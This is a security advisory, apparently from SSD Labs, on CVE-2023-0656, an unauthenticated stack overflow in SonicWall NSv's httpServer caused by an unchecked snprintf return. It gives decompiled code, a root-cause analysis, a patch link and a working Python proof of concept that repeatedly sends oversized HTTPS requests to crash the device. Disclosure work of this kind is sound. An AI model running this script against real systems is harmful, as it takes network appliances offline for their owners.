Summary
A vulnerability in SonicWall allows remote attackers to crash the target server on affected installations. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the `httpServer` function. The issue results from the lack of checking the return result of `snprintf` before using it to calculate the maximum length. An attacker can leverage this vulnerability to impact the availability of the target server.
Credit
Alex Birnberg of SSD Labs
CVE
CVE-2023-0656
Affected Devices
SonicWall NSv 270 R1833
Vendor Response
The vendor has released patches available at: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0004
Technical Analysis
The root cause of the vulnerability may be found within the httpServer
function. In certain cases where the beginning of the path matches [1] the string /stats/
, or other strings such as /Security_Services/
the code executes the snprintf
logic.
_BOOL8 __fastcall sub_24164E0(const void *a1) { return memcmp(a1, "/stats/", 7uLL) == 0; // 1 }
The httpServer
function is responsible for handling incoming requests. When handling requests to paths that begin with /stats/
the following code will be called. The first snprintf
prints [2] the method of the request and the path where the request is addressed to. Note that if the path exceeds the size specified in the function call, this size will still be returned by the function, even though the strings are being printed to the buffer accordingly. The next snprintf
function call [3] takes the result returned from the previous snprintf
call and substracts it from 1024
. In the case where the result is bigger than 1024
this will lead to having the snprintf
being called with a negative value for its length, and as the second argument is unsigned it would be a very large value instead. This can lead to buffer overflow with arbitrary data, which later leads to the denial of serivce condition by overflowing the stack canary.
void httpServer(SonicWall_HttpContext **context) { // ... v43 = __snprintf_chk(v151, 1024LL, 1LL, 1024LL, "%s %s", v42, *(const char **)(v2 + 112)); // 2 if ( !*(_BYTE *)(v2 + 88) ) __snprintf_chk(&v151[v43], 1024LL - v43, 1LL, -1LL, " HTTP/%s", *(const char **)(v2 + 136)); // 3 // ... }
PoC
#!/usr/bin/env python3 import ssl import time import socket import argparse import urllib.parse class Exploit: def __init__(self, args): self.hostname = urllib.parse.urlparse(args.url).hostname def trigger(self): print('[*] Triggering...') while 1: try: self.dos() except: pass time.sleep(5) def dos(self): payload = "GET /stats/" + "A" * 0x400 + " HTTP/1.1" + \ "B" * 0x2000 + "\r\nHost: " + self.hostname + "\r\n\r\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) context = ssl.SSLContext() ssl_sock = context.wrap_socket(sock) ssl_sock.connect((self.hostname, 443)) ssl_sock.send(payload.encode()) ssl_sock.close() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--url', help='Target URL', required=True, metavar='') exploit = Exploit(parser.parse_args()) exploit.trigger()